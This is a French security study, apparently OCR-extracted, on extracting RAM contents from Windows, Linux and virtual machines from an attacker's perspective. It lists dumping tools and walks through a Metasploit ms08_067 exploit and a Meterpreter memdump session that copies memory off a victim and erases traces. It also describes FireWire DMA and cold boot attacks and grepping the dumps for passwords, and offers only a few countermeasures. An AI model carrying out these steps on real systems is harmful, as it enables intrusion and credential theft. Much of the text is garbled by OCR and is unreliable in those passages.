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1. QUELQUES MOTS SUR LAUTEUR

Arnaud MALARD a cing ans doéexp®rience dans | e domair
de DEVOTEAM. Il interviente n t ant qcuhbeazu dd & euambr eux clients afin
de l eur syst me doéi nformati on Ssous | a f or me de t
configuration.

L es d o maactivité des dliedts pour lesquels il travaille sont variés : banque, assurance, énergie, luxe et
service.

Les projets pour lesquels il a pu travailler sont également assez larges : auditsd 6 i n f r a Pare-fauc DNS,r e
VOIP, GSM, etc)te st s dOi nt r g §Nelm Clierd lpyrd, Citcxa ¢td), fte st s d 0 id Gftastructurie o n
(Windows, Unix, TOIP, Printer, WIFI, etc), audit de configuration (Windows, Unix, Cisco, Juniper, Checkpoint,
etc).

Son pass® en tant quodi ng®ni eur s®cur it ® ludantr pprmis det r o
comprendre les problématiques liées a la production et a la sécurisation des entreprises. Cette expérience lui
per met aujourdoéhui de sbdbadapter aux besoins de ses
métiers.

E-mail professionnel : arnaud.malard@devoteam.com

Blog professionnel : http://blog.devoteam.com

E-mail personnel : sganama@gmail.com

Blog personnel : http://sudoman.blogspot.com
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2. INTRODUCTION

2.1. Objectif du document

Le but de cette ®tude est de recenser et do®val ue
rémanentes en mémoire vive.

Tout doathiof d®r ¢ mtses techniques connues ~ | 6heure
présentées selon les conditions dans lesquelles peut se trouver un attaquant (accés physique et logiciel
avec privileges élevés ou non).

Dans un second temps, les outis d6anal yse doéi mages m®moires qui
indispensables seront exposés. lls permettent la manipulation des images extraites pour y lire des
informations systéme ainsi que la conversion dans différents formats standards.

Ensuite, des exemples de données extractibles seront listés et permettront de juger par vous-méme la
criticit® dbébun acc s ~ |l a m®moire et de ses infor

Enfin, des exemples de manipulation du conbtysteme de
débexploitation via un acc s possible ™ la m®moi r ¢
attaquant seront présentés.

2.2. La mémoire vive selon Wikipédia

La mémoire vive, mémoire systéme ou mémoire volatile, aussi appelée RAM de l'anglais Random Access Memory (gue l'on
traduit en frangals par mémoire & accés direct’], est la mémoire informatique dans laguelle un ordinateur place les données lors
de leur traitement. Les caracteristiques de cette meémaoire sont :

= sa rapidite d'accés (cette rapidite est essentielle pour fournir rapidement les donnees au processeur) ;
= savolatilite {cette volatilité implique que les donnees sont perdues dés que l'ordinateur cesse d'étre alimente en electricite).

€ la volatilit® ®tant | e point | e plus important

Plus simplement : la mémoire vive contient toutes les données qui sont traitées lorsque votre machine
est démarrée. La mémoire vive agit comme une sorte de disque dur a accés rapide et donc plus sa
capacité est importante plus les performances de la machine sont élevées en termes de rapidité
doex®cution des programmes.

2.3. L hr ontgptnh r3 ss ptdg U2k 1 &dlnhg
Plusieurs raisons mbéont pouss® ° moéi nt ®r esser
celles-ci sont exposées ci-dessous.

Contrairement au disque dur, la mémoire RAM est sollicitée pour chacune des actions réalisées sur le
systeme et contient donc plus de données sensibles telles que des mots de passe saisis, historique, des
donn®es non maitris®es et non inscrites sur | e di

Les nombreux moyens existants pour extraire la mémoire RAM en font une cible privilégiée.
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La compromission débun syst me par | d6alt®ration di
r®al i s®e par | 6alt®ration des fichiers du disque
Contrairementacert ai ns di sques dur s, l e contenu de | a m®n
|l dacc s au syst me ou sa manipul ation m° me si | e
Enfin, cbdbest un des ® ®ments maj eurs dounne®rersctleirt
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3. M ETHODES DE RECUPERAION DE LA MEMOIRE RAM

Ce paragraphe traite des diff®rentes m®t hodes dbob
situation dans laquelle peut se trouver un attaquant: accés physique, accés logique, accés avec
privieges ®l ev®s ou noneé

3.1. B " r c3Itm rxrsald Vhmcnvr bnlognl hr

Il existe de nombreux logiciels permettant I'extraction de la mémoire RAM lorsqu'une session Windows
est démarrée et contrélée. Les plus connus sont présentés ci-dessous et nécessitent tous les droits
Administrateur pour s'exécuter. Evidemment, leur exécution peut étre réalisée a distance via un acces
obtenu licite (accés Netbios ou VNC par exemple) ou illicite (via une faille identifiée et exploitée) et ne
n®cessite pas dobéavoi esplydique aglaamachine. Hsrpeurent tousrétregplaags sur
un média amovible afin de réaliser une extraction depuis celui-ci sans qu'aucun outil ou librairie n'ait
besoin d'étre installé sur le systéme.

3.1.1. Extraction | ogicielle
| DD.EXE
La derniére version officielle du logiciel ne supporte plus l'acces direct en RAM et une ancienne version
doit étre utilisée. Ne parvenant pas ° identifier un | ien of:
disposition sur mon blog :
https://docs.google.com/leaf?id=0B 0q70pm7im80OThhOTk4M|ltNjYXNSOON2U3LTIIZjYtMjl2MGFKMDh
mN2Ix&hl=en

La commande suivante génere une image de la mémoire et la stocke en local :

dd.exe if= \\.\ PhysicalMemory of="c: \ image.dd" conv=noerror

La commande suivante génere une image de la mémoire et la stocke sur une machine distante :

dd.exe -v if= \\.\PhysicalMemory of= @IP - machine - distante conv=noerror -- iport 3000
Izntl

Sachant qubdun serveur a ®t ® | anc® sur | a machine

-n -L -p 3000 -s @IP-machine -source -- decomp Izntl - O h: \ servername \ filename.img

1 MDD.EXE

MDD.exe permet de réaliser une extraction de RAM d'une capacité de 1Go en seulement 1 min. |l peut
étre  téléchargé sur le site suivant :  http:/sourceforge.net/projects/mdd/files/mdd/mdd-
1.3/mdd_1.3.zip/download.

La commande suivante génére une image de la mémoire et la stocke en local :

mdd_1.3.exe - 0 image.dd

Pour information, MDD est utilisé dans le framework « Metasploit » afin de réaliser une extraction de
RAM d'un systéme compromis a distance (voir 2.1.2).
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Le logiciel est compatible avec Windows 7, 2008 et les versions antérieures.

1 MEMORYZE

Memoryze est un ensemble d'outils permettant la manipulation de la mémoire RAM (extraction,
exploitation, ...). Pour réaliser une extraction, I'outil disponible est « MemoryDD.bat » et permet de
réaliser une extraction de RAM de capacité de 1Go en 1 min 30.

La commande suivante génere une image de la mémoire et la stocke en local :

MemoryDD.bat i size 100 i output image.dd

Si aucune 0 p tnie anscriptGalrs ta tofaldéude la RAM est extraite et stockée dans le
répertoire « Audit\<nom-de-machine\<identifiant-unique\ ».

La derniere version disponible du logiciel est téléchargeable sur le site suivant
http://www.mandiant.com/software/Memoryze.htm et compatible avec Windows 7, 2008 et les versions
antérieures.

1 WIN32DD.EXE

Win32dd est un outil développé par Matthieu Suiche et permettant de réaliser une extraction de RAM
d'une capacité de 1Go en environ 30 secondes. Il peut étre téléchargé sur le site suivant:
http://moonsols.com/blog/2-blog/9-moonsols-windows-memory-toolKit.

La commande suivante génére une image de la mémoire et la stocke en local :

Win32dd.exe /r /f image.dd

Si vous souhaitez générer une image exploitable par le débogueur « Windbg », lancez la commande
suivante :

Win32dd.exe /d /f image.dd

Léout il comporte de ndmbr®g lesessand etsr d| ¢ ptsi qruse a
sous diff®rents formats (Crash Dump, Hibernation)

Par exemple, la commande suivante génere une image de la mémoire et la stocke sur une machine
distante :

win32dd.exe /t @IP- machine - distante /Ic2 Ip 6666

Sachant qudédun serveur a ®t ® | anc® sur | a machine

win32dd.exe /I /p 6666 /f test.dmp
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3.1.2. Extraction de la mémoire via le Framework Metasploit

Comme pr ®ci s® pr ®c ®d e niveau togiciel ne Béeessiter pasmbligatmirementuun acces

physique ° |l a machine et | e FrameWork Metasploit
distance.
3.1.2.1. Généralité

Si vous avez identifié une vulnérabilité sur un systeme Windows permettant | 6 e x ®cut i on
di stance et dont | 6expl oit est di sponi bl e
[http://www.metasploit.com] , i est possible déen extraire | a m
Quelque soit la vulnérabilit ® i denti fi ®e, VOous aur ez tout doabc
exécutables suivants :

| mdd.exe : a positionner dans le répertoire « data » du programme Metasploit de la machine

attaquante

| memdump.rb : & positionner dans le répertoire « scripts/meterpreter » du programme Metasploit
de la machine attaquante [http://www.darkoperator.com/meterpreter/memdump.rb]

Le premier est un exécutable qui, une fois déposé et exécuté sur la machine victime, permettra
| 6extraction de | a m®moire RAM.

Le deuxiéme est un script Ruby permettant de positionner automatiquement « mdd.exe » sur la victime,
de | 6ex®cuter ~ distance, transmettre |l e r®sultat
machine victime.

3.1.2.2. Dwdl okd c¢c3tshkhr shnm

Le cas concret présentécirkdessous permet | 6extraction ~° distanc
débune r®cente vul n®r a067.l it® d®couverte (MSO0S8

1) Lancez tout dobéabord | a c o«nsfednsmlesnet aspl oit vi a

sudoman@SudOman Laptop:~/Secu/xploit/trunk$ ./msfconsole

< metasploit >

(00)____
) ) o\
-1
=[msfv3.3 -dev
-- =[ 359 exploits - 233 payloa ds
-- =[ 20 encoders - 7 nops
=[ 132 aux

2) Choi si ssez :kwirdews/snthims08 0GY metapi »

msf > use windows/smb/ms08_067_netapi

3) Choisissez le payload « Meterpreter » (en bind ou reverse selon les possibilités)
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4) Choisissez | 6adresse I P de | a machine attaquan

msf exploit(ms08_067_netapi) > set LHOST 192.168.1.2
LHOS =>192.168.1.2

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.3
RHOST =>192.168.1.3

LHOST ®t ant | 6adresse | P de | a machine | ocale att

5) Lancez | 6exploit et donc | a console Meterprete

msf exploit(ms08_067_netapi) > exploit

*] Started bind handler

*] Automatically detecting the target...

*] Fingerprint: Windows XP Service Pack 2 - lang:French

*] Selected Target: Windows XP SP2 French (NX)

*] Triggering the vulnerability...

*] Transmit ting intermediate stager for over - sized stage...(191 bytes)
*] Sending stage (2650 bytes)

*] Sleeping before handling stage...

*] Uploading DLL (75787 bytes)...

*] Upload completed.

[*] Meterpreter session 1 opened (192.168.1.2:37489 ->192.168.1.3:444

6) Depuis la console Meterpreter, exécutez le script « memdump »

meterpreter > run memdump

[*] Running Meterpreter Memory Dump Script

[*] Uploading mdd for dumping targets memory....

[*] mdd uploaded as C: \ WINDOWSTEMR 75966.exe

[*] Dumping target memory to C:  \ WINDOWSTEMR 12701
[*¥] Finnished dumping target memory

[*] Deleting mdd.exe from target...

[*] mdd.exe deleted

[*] Downloading memory image to /home/sudoman/.msf3/logs/memdump/192.168.1.312701
[*] Finnished downloading memory image

[*¥] Deleting left over files...

[*] Memory image on target deleted

La totalité de la mémoire (256 Mo dans ce cas) a été extraite et son contenu a été copié sur la machine
attaquante dans le répertoire « ~/.msf3/logs/memdump ».

sudoman@sudiman-Laptop: ~msf3/logs/memdump/I92 168, 1.312701

Fichier Edition Affichage Terminal Onglets Aide
sudoman@sud@man-Laptop:~/.msf3/logs/memdump$ cd 192. lf?l 312781/ (]
sudoman@sud@man-Laptop:~/.msf3/logs/memdump/192.168.1.31

total 261884

drwxr-xr-x 2 sudoman sudoman 4096 2009-03-23 13:42 .
drwxr-xr-x 8 sudoman sudoman 4@96 2009-03-23 13: 45 .

2701% 1s -al

(L]

sudoman_sudoman . 1m
sudoman@SudBman Laptop ~/. msf3flogs,’memdump/192 168. 1 3127814
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Les traces sont effacées automatiquement de la machine victime et permet donc de rendre relativement
discréte cette attaque.

3.1.3. Extraction au niveau Noyau

L'API « NtSystemeDebugControl() » permet de réaliser des taches de débogage au niveau Noyau.
L'outil « memimager.exe » disponible sur le site suivant : http://ntsecurity.nu/toolbox/memimager utilise
cette API.

La commande suivante permet | a g®n®ration dobéune i

memimager.exe 2000 image.dd

L'utilisation de cette API n'est par contre plus autorisée depuis Windows 2003 SP1 et une alternative est
possible en exploitant une vulnérabilité dans la Virtual DOS Machine (VDM). Ce « Proof of the Concept »
est décrit par Alex Lonescu et disponible a I'adresse suivante : http://recon.cx/en/f/aionescu-subverting-
w2k3-kernel-integrity-protection.ppt

3.1.4. Extraction via le port série

Une machine tournant sous le systeme Windows bénéficiant d'un port série et sur laquelle un compte
valide a été obtenu, est susceptible d'avoir une mémoire RAM lisible depuis un poste connecté par le
bi ais de ce wndbgx utlisd @oordet débogage Windows, est disponible sur le site de
Microsoft et permet de lire, par exemple, les processus actifs et éventuellement d'en modifier les

propri ®t ®s . LOint®r°t majeur de cette m®t hode nodbe
®t at et donc | a possibilit® doé®l ever ddns fa syteadevxe |
papier.
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3.2. Dwo knhs s hn @rasb 3 Wndows

Lorsque | e syst me est configur® dbébune <certaine
Windows, et nommé « CrashDump », est lancé automatiquement lorsque le systeme Windows tente de
lire ou écrire dans une zone de mémoire non autorisée. Cela se traduit par le fameux « blue screen ».

a problem has br-en detected and windows has been shut down to prevent damage
0 your compu

DRIVER_IRQL_NOT_LESS_OR_EQUAL

If this is the first time you've seen this Stop error screen,
computer, If this screen appears again, follow

re dny new hirdere or software is prnppr1) installed.

semiim amdoana An eafFe A s e A
or any w

seqinning dump of physical memory

If proble
sof

“mths1ca1 menory dump comp1ete.

/OUr CompCEENTITN 2
select safe Mndp

echnical information:

W% STOP: 0x00000001 (Ox0000000C, 0X00000002, 0x00000000, OXFRGES5A89)

eew gv3.sys - Address F86B5A89 base at F8685000, DateStamp 3dd99leb

Beginning dump of physical memory
h cal memory dump complete.
ntact your system administrator or technical support group for further
'stance.

Le CrashDump est en réalité une copie automatique de la mémoire RAM sur le disque dur systeme
(« C:\Windows\MEMORY.DMP ») a l'instant ou le systéme a planté et permet en général de déboguer le
systéme pour connaitre la raison de l'erreur systéme. Evidemment, nous verrons par la suite qu'il est
possible d'exploiter cette extraction a des fins malicieuses...

Au lieu d'attendre qu'un « crash » se réalise pour récupérer le fichier en question, Nirsoft a développé un
outil permettant de faire planter manuellement le systéme, « StartBlueScreen.exe » est disponible a
| 6 adr es s e http:/iwww.rdarsoft.ret/utils/start _blue screen.html.

La commande suivante permet de générer un « blue screen ».

StartBlueScreen.exe 0x10 0x1111 0x2222 0x3333 0x4444

Si | 6attaquant a physiguement acc s 7 l a machine
introduire par | e bi ai sdisquédunetle cognecter sarluneiadtre rpaehing afire x t
doy r ®cup®r er | 6®ventuell e i mage g®n®r ®e par u
parfaitement plausible ®t ant donn® que | e fichier
systtmeet que cbest © | bHdutilisateur de | e suppri mer
€ prenez 5 minutes pour all er jeter un T il sur

cat ®gadri eé

Evidemment | e degr® doisnflodinmage ns®mr@&rc@e id @®pg eersd ddac
systeme et accessibles depuis « Propriétés Systeme > Démarrage et récupération » :
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|, 3U SECURITE
Démarrage et récupération 21xl
—Démarrage du systé
Systéme d'exploitation par défaut
I'Microsoﬂ Windaws ¥P Professionnel” fnoexecute=aptin jfastdetuj
¥ Afficher |z liste des systémes d'exploitation pendant I 30 3: secondes
[~ afficher les options de récupération pendant : I 10 3: secondes
Cliquez sur Modifier pour modifier les options de démarrage. Modifier
Défaillance du systé
¥ Ecrire un éyénement dans le journal systéme
¥ Envoyer une alerte d'administration
[V Redémarrer automatiquement
Ecriture des informations de débogage
Image mémaire compléte j
{aucun)
Image mémoire partielle (64 Ko)
Image mémoire du noyau
e memoire complete
oK I Annuler |
En effet, une i mage partielle de | a m®moire fourn

donc moins pertinente pour un attaquant.
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3U SECURITE,

3.3. Dwoknhs shnm c3tm ehbghdg c3dghadgm s

Lorsqu'un systeme Windows est mis en veille prolongée ou en hibernation, un fichier « hiberfil.sys »,
correspondant approximativement a l'image de la mémoire RAM (seules les pages mémoires utilisées
étant sauvegardées et les données sont compressées), est sauvegardé automatiquement a la racine de

la partition systeme (généralementC:\) afin de conserver | 6®tat du sy
systeme.

E=Inm i

ez I (0 0 ko Fichier swstéme

docurnents "
) | hiberfil, sys 2 033 372 Ko Fichier swskéme
ke de travail

CONFIG.SYS ko Fichier systeme

WINKP-HP (2

Une hibernationpeut °tre | anc®e ~ travers | 6interface Win
x|

Enreqistre votre session sur disque et vous permet d'éteindre
l'ordinateur en kouke sécurité, La session est restaurée au
redémarrage de Windows.,

O I Annuler Aide

3.3.1. Attaque physique

Si un attaquant a physiquement acc s 7 |l a machi n
introduire par | e biais doéun | oecbnodcterisyrune dutrepm@chine e x
afin déy r®cup®rer | e fichier en question.

Le fait d'enlever le disque dur d'une machine en hibernation ne la perturbera en aucun cas et celle-ci
pourra restaurer normalement son état suite a la réinsertion du disque. Nous verrons par la suite qu'il est
possible d'exploiter le contenu du fichier d'hibernation afin d'en extraire des informations sensibles mais
aussi d'"en modifier l e contenu dans | e but par
privileges systémes.

3.3.2. Attaque logique

D6bun point de vue logiciel, | orsgubébune machine
hi bernati on, il néest pas possible 7 premi re Vvu
« hiberfil.sys » vers un quelconque emplacement, Windows interdisant la manipulation des fichiers en
coursddutilisation.

INDOWS' system32' cmd.exe

C=~>copy hiberfil.sys D: _’ ‘_
Le processus ne peut pas acceéder aw fichier car ce fichier est wtilisé par un autre processus.

Des outils tels que HoBoCopy
[http://sourceforge.net/project/showfiles.php?group id=117783&package id=204974] permettent de
|l ever cette restriction et de r®aliser | a copie d
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J0fEA T

Ainsi le fichier « hiberfil.sys » peut étre extrait depuisunacces| ogi que afin dé°tre e:

Dz%ARCHIVEMforensichRAMvsandman®HoboCopyhxp>HoboCopy.exe C:% D:%dd pagefil.sys
HoboCopy Cc) 2006 Wangdera Corporation. hobocopyCGwangdera.com

Starting a full copy from C:% to 0:%wdd

Copied directory

Backup successfully completed.

Backup started at 2010-11-26 00:3%:21, completed at 2010-11-26 DD:3%:24.
0 files CO0.00 bytes, 1 directories) copied, 20 files skipped

1 est i mportant de pr®ciser que |l es droits requi

333.Bnmchshnm c3dwsq bshnm

Il est important de savoir que méme si la machine est arrétée (et non en hibernation) et que la mise en
veille prolong®e a d® " ®t® | anc®e au moins une f
et pourra étre récupéré. En effet, le fichier « hiberfil.sys » est présent sur la partition systéme tant que la
foncti on d éshactivée (optiart «i powercfg /hibernate on » ou parametre « Activer la mise en
veille prolongée » disponible dans « Panneau de configuration > Propriétés des Options
doal i meh Evddemment la validité des informations contenues dans le fichier peut ne plus étre
doébactual i t® si | o0hibernation ndéa pas ®t ® | anc®e r

Propriétés de Options d'alimentation

Modes de gestion de l'alimentatic
Jauge de batterie I Avancé

Lorsque l'ordinateur passe en \
informations en mémoire sur le
l'ordinateur sort de veille prolon

Mize en veile prolongée

¥ &ctiver la mise en veile prolongée
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3.4. Extraction via un acces direct a la mémoire (DMA)

Lébattaque consiste © exploiter | e f aRkréewirgetune rhaghine o m
ne comporte aucune sécurité car les données transitant a travers le bus Firewire ne passent pas par le
microprocesseur pour des raisons de performance. De ce fait, le périphérique en question peut alors
contrOler les accés en mémoire de la machine et donc y lire ou écrire le contenu.

LIAISON PAR CABLE FIREWVIRE

De nombreux articles disponibles sur I nternet ont
pas doébexpliquer ° nouveau cette attaque mais dobex

Son principe consiste donc a faire passer la machine pirate pour un périphérique de stockage Firewire
aux yeux de la victime. Hréwre étanti«plag andplay &,e Ip&irn sptharl
r®al i se aut omat i gue me nuilisaela m&ne lonsques la sessiort de danmaahiee est 6

verrouvilée ( ou | orsqubdell e vient do6é°tre d®marr ®e)

La machine pir at gonctiomiets otuosu tl ed 6saybsotr dme dodéexpl oi t at
suivants doivent étre installés :

| Librairies 1394 : [http://www.kernel.org/pub/linux/libs/ieee1394/libraw1394-1.3.0.tar.gz] [Installation :
A./ configure; make; make dev; make install o]

| Outil de développement « Swig »

| Interpréteur « python2.x » ainsi que les librairies de développement « python2.x-dev »

Packages comportant les outils de manipulation de mémoire
[http://www.storm.net.nz/static/files/pythonraw1394-1.0.tar.gz]

Ensuite, les modifications suivantes doivent étre apportées :

1 Modi fiez |l a localisation de | Makefteo,xppm@d>e ur Py
« businfo ».

1 Localisez la librairie « raw1394.h » (« /usr/local/include/libraw1394/ ») et commentez toutes les
chaines « __attribute__ ((deprecated)) ;»via«//eé . NOéoubl i ez p;a»surldsdigngsout er
précédentes.

1 Veérifiez que le chemin de la librairie « raw1394.h » est correctement indiqué dans le
« Makefile » et dans le cas contraire faite la modification nécessaire dans le « Makefile ».

1 Lancez la commande « make » depuis afin de générer les librairies indispensables au
| ancement des outils doattaques (rawl394. py, ra

Le module gérant le Firewire « raw1394 » doit étre chargé :

sudo modprobe raw1394
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Chargez une image de p®riph®ri que dped Applepsukla goet (

Firewire :
.[romtool - s 0 ipod.csr
Connectez les deux machines via le cable Firewire. Cbest “ ¢ e machimedMintowsidétecte!l a
la machine du pirate comme un Ipod et installe automatiquement le pilote permettant de communiquer
aveccelui-ci. V®r i fiez alFioewie: | 6®t at du bus
Et cherchezdans | e r®sultat de | a ckorewmeacorspondaet a f|a snachine e t
Windows.
Node (numbe r=1 I
ConfigROM
Length
- Length
: 1
1
1
1
1
Inv
1t1e
MICROSOFT CORP.
Danslecasci-d es sou s, nous voyons que | a machine Micr os
de |l a machine pirate. Ces param tres sont essenti

Le script « 1394memimage » permet alors en utilisant les précédentes informations de réaliser
| 6extraction.
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Léextracti on dounééréai®dgaen endgrond enindteS lors de nos tests.

Apr s | 6attaque, il e st cdled auinibebuedu gestionnairé de pédiphériquesr a ¢
ou un pilote pour lecteur de disque Apple Ipod a été installé.

L, Gestionnaire de périphérigues

Bichier Action  Affichage ?

= W & @ 2

€ Contréleurs 5CST et RAID

@ AS510x82 IDE Contraller

@ Lecteurs de cartes & puce

< Lecteurs de CO-ROM/DVD-ROM

% Lecteurs de disque

iJi ¢ Apple Computer_Inc. iPod IEEE 1394 5BP2 Device |
~age TOSHIBA MKS046G5X

Cette attaque est également réalisable via un acces PCMCIA c6té victime et exploitable donc via une
carte PCMCIA Firewire.
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3.5. Ladsgncd tkshld c3d3dwsg bshnm 9 k3 ss |

Si nous prenons en compte les méthodes présentées précédemment, la seule maniére de se protéger
efficacement de | 6ext r ac tlainmchinesea regpectant ko necommarelaticn® ¢ u
suivantes :

| Désactivation du port Firewire et PCMCIA ;

| Désactivation du port série RS232 ;

| Désactivation de la veille prolongée ;

1 S®curisation de | a machine pour ®protectiordesfluxp el |

-

| Chiffrement complet du disque dur.
Mal gr® | a mise en application de ces derniers po
extraction de mémaoire.
En effet, S i une machi ne d®mar r ®e orguer est wecessiblg s t
physiguement par un attaquant, alors celui-c i peut mener | 6 adessoaiggal rommpée ® s ¢
Coldboot.

351.Lhrd dm ntugd c¢cd k3 ss ptd BnkcAnns

| Généralité

Lorsqu'un ordinateur est éteint subitement, la mémoire RAM, malgré que le systéme ne soit plus
alimenté électriquement, contient encore la totalité de ses données pendant environ cing a dix secondes
et 80 % des données sont disponibles pendant les trois premiéres minutes. En refroidissant la mémoire
RAM via de l'air sec, il est possible d'étendre ce temps a 10 minutes en ramenant la température de la
barrette mémoire a -50°C et permet alors a un attaquant d'exploiter le contenu sans étre contraint par le
temps.

La technique suivante exploite ce principe et ne nécessite donc qu'un acces physique a la machine sans
aucun droit particulier sur le systeme. L'attaque est évidemment réalisable sur tout type de systeme
d'exploitation (Linux, Windows, MAC).

| Déroulement de l'attaque

L'attaque se déroule en sept étapes :

1) L'attaquant récupére la machine de la victime encore sous tension et dont I'acces logique n'est pas
possible (session verrouillée par exemple)

2) L'attaquant accede a la barrette mémoire RAM du systéme et la vaporise via une bombonne d'air
sec a faible distance et jusqu'a temps que la barrette soit extrémement froide

3) L'attaquant éteint alors brutalement la machine en débranchant I'alimentation (cas d'une
workstation) ou la batterie (cas d'un laptop)

4) Dans le cas ou la machine empéche le boot (mot de passe bios, séquence de boot ne proposant
pas I'USB, ...), l'attaquant peut extraire physiquement la barrette est la placer sur une autre machine
dont il a le controle
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5) Dans le cas contraire, I'attaquant peut alors gagner du temps et utiliser la machine victime pour
réaliser I'extraction

6) Dans les deux cas, I'extraction consiste, apres avoir redémarré la machine (victime ou contenant la
RAM), a booter sur un systéme Linux placé sur une clef USB -ou PXE voir plus loin- et sur lequel

I'utilitaire msramdmp a été installé. Ce dernier permet de copier automatiguement le contenu de la
mémoire RAM de la machine sur une clef USB.

7) Aprés environ 5 minutes pour une taille mémoire de 1Go, l'attaquant peut alors exploiter le contenu
de la RAM recopié alors sur la clef USB.

msramdmp - McGrew Security Ram Dumper - v 0.5.1
httpissmegrewsecur ity . compro jects/nsrandmps
Robert Wesley McGrew:! wesley@mcgreusecurity.com

Found -srn-d-? partition at disk 6x80 : partition 4
Partition isn't marked as used. Using it.

Marked partition as used.

Mriting section from Ox60000000 to Ox0009FFFF
Writing section from 6x00100000 to Ox3ff906060

3.5.2. Préparation pour extraction via une clef USB

Tout d'abord les sources suivantes doivent étre téléchargées et décompresseées :

SYSLINUX : http://www.kernel.org/pub/linux/utils/boot/syslinux/

MSRAMDMP : http://mcgrewsecurity.com/projects/msramdmp/msramdmp.tar.qz

Il est nécessaire d'effacer la totalité des données de la clef (/dev/sdb)

root@SudOman - Laptop:/home/sudoman# dd if=/dev/zero of=/dev/sdb

dd: écriture vers “/dev/sdb': Aucun espace disponible sur le périphérique
3907584+0 enregistrements lus

3907583+0 enregistrements écrits
2000682496 octets (2,0 GB) copiés, 225,742 s, 8,9 MB/s

Deux partitions doivent étre créées via la commande « fdisk » ou « cfdisk » et selon la répartition
suivante :

- lére partition de 1 Mo en type «fatl6 [06]¢é avec | e flag BOOT activ®
systeme Linux

-2 me partition wutilisant [Vonx8(G286d460]» dtiperngetiamt de stoskera n t
le contenu de la RAM
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sdbl Pr

imalire
-

[Amorcable] [Détruire ] Adde Max i er |
on) o[ Quitter ] [ Type

La 1ére partition « /dev/sdbl » doit étre formatée en FAT16 :

root@:/home/sudoman/Secu/forensic/msramdmp# mkfs.msdos /dev/sdbl
mkfs.msdos 2.11 (12 Mar 2005)

Puis le fichier « mbr.bin » du répertoire « syslinux-3.61/mbr » doit étre copié sur « /dev/sdb »

root@ :/home/sudoman/Secu/forensic/syslinux - 3.61/mbr# dd if=mbr.bin of=/dev/sdb
0+1 enregistrements lus

0+1 enregistrements écrits

404 octets (404 B) copiés, 0,0162045 s, 24,9 kB/s

Ensuit e, ex®cut er l« syslirancyr damstle répértbine s« syalihuk-a.@Lliuroxm afin de
rendre amorcable la clef USB (/dev/sdb)

root@ :/home/sudoman/Secu/forensic/msramdmp/syslinux - 3.61/unix#./syslinux dev/sdb1

Aprés avoir monté la premiere partition sur le systéme, les fichiers « msramdmp.c32 » et « syslinux.cfg »
doivent étre copiés a la racine de celle-ci

r oot@:/home/sudoman/Secu/forensic# mount /dev/sdbl /media/usb/
root@:/home/sudoman/Secu/forensic# cd msramdmp
root@:/home/sudoman/Sec  ufforensic/msramdmp#cp msramdmp.c32 syslinux.cfg /media/usb/

La clef, désormais préte a réaliser une extraction de mémoire, peut étre démontée du systéme

root@ :/home/sudoman/Secu/forensic/msramdmp# umount /media/usb/

Aprés avoir réalisé une extraction de la mémoire (cf. 2.5.1), le contenu de la mémoire a été conservé
dans la deuxiéme partition.

root@:/home/sudoman# fdisk Tl

Périphérique Amorce Début Fin Blocs Id Systéeme
/dev/sdbl * 1 1 1891 4 FAT16 <32M
/dev/sdb2 2 1016 1950830 41 PPC PReP Boot

Celle-ci n'est plus de type 40 mais de type 41 (msramdmp ayant volontairement effectué cette opération
avant | 6extraction) e tpeutlé&redomérbita bt Basles commandes dtrings et dd. e
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3901660+0 enregistrements écrits

1997649920 octets (2,0 GB) copiés, 98,3137 s, 20,3 MB/s

Il est maintenant possible de rechercher de la mémoire extraite a partir de la partition sdb2 :

root@ :/ strings /dev/sdb2 | grep password

root@ :/ strings dump - ram- coldboot.dmp | grep password

Attention : Avant chaque nouvelle opération d'extraction, il est donc nécessaire de reformater la
deuxiéme partition en type 40.

Sources :
http://d-kriptik.com/blog/2008/02/21/cold-boot/

http://www.mcgrewsecurity.com/tools/msramdmp/

http://citp.princeton.edu.nyud.net/pub/coldboot.pdf/

http://www.linuxjournal.com/article/10289

http://citp.princeton.edu/memory/code/

3.5.3. Extraction via PXE

Il est également possible de réaliser une extraction mémoire via un acces réseau a partir du boot PXE.

Celle-ci consiste a démarrer la machine victime non plus sur une clef USB mais depuis le boot PXE si

celui-c i est autori s®. L6int®r°t est de pouvoir effec
|l a barrette m®moire et que | e d®marr age BOS systemésU S E
ma | conf i grigent®as lerbdobUSB contrairement au boot PXE (accessible souvent via F12 au
démarrage).

Léobextraction via PXE se d®roule donc en quel ques
connectteau m° me r ®seau | ocal g u e sefvear DHCPcet TIFTRPeactidét qu 6 e | |

| Aprés le chargement du BIOS, le protocole PXE commence a s'exécuter (F12)

1 Recherche d'une adresse IP sur un serveur DHCP

| Réception de l'adresse IP et des informations réseau assignées au poste par le serveur DHCP

| Téléchargement du gestionnaire de démarrage via TFTP

| Sélection de l'image de démarrage

| Téléchargement des fichiers de démarrage a l'aide du protocole TFTP.

1 Téléchargement du noyau linux bootable

| Exécution des fichiers de démarrage

| T®|l ®c har g emmaegnet nid®@&moliérie ©~ destination de | 6att a
Le site suivant propose |l es outils permettant de

http://citp.princeton.edu/memory/code/
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3.6. Cas d'un systeme Linux compromis

La mémoire physique sous Linux est stockée dans le fichier systéme « /proc/kcore ».

Ce fichier représente la mémoire physique du systeme et est stocké au format du fichier core.
Contrairement a la plupart des fichiers /proc, kcore affiche une taille. Cette valeur est donnée en octets et
est ®gale ™ la taille de | a m®moire vive (RAM) ut
fichier.

Etonnamment, il a été observé que le contenu de ce fichier contientle mot de passe de |
en clair !
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3.7. Cas d'une image virtuelle

Léutilisation de syst me virtuel, t el que VMWARE,
ainsi une cible de plus en plus convoitée par les pirates. Si le serveur accueillant les différents hétes
virtuelsest compr omi s, il suffit alors 7.vnledadotreappndanna d
| 6i mage m®moire du syst me.

564d65f5-061d-a532-98f2-8ff427237 10c. vmem. Ick
Other Linux 2.6.x kernel.vmdk. ck

Other Linux 2.6.x kernel.vmx.lck

. 564d65f5-061d-a532-98f2-8ff42728710c. vmem
|- other Linux 2.6.x kernel.mvram

& Other Linux 2.6.x kernel. vmdk

|- Other Linux 2.6.% kernel.vmed

@Oﬂﬁer Linux 2.6.x kernel, vmx

j Other Linux 2.6.x kernel. vmxf

Igj vmware.log

[féj vmware-0.log

Igj vmware-1.log

=| vmware-2.log

M° me si | 6hltte virtuel est d®marr ®, il electure goor s i kb
copier. Il suffit alors par | a suite de | danalyse

Matthieu Suiche a développé un programme permettant de convertir un fichier « .vmem » en format
analysable par le debugger Windows « Windbg ». Cet outil, « bin2dmp », est téléchargeable sur le site
suivant : http://www.moonsols.com/component/[downloads/finish/3/2/0

Débautre part, S i aucun aca machine sngré gootmirenmedt easuh acpes s s

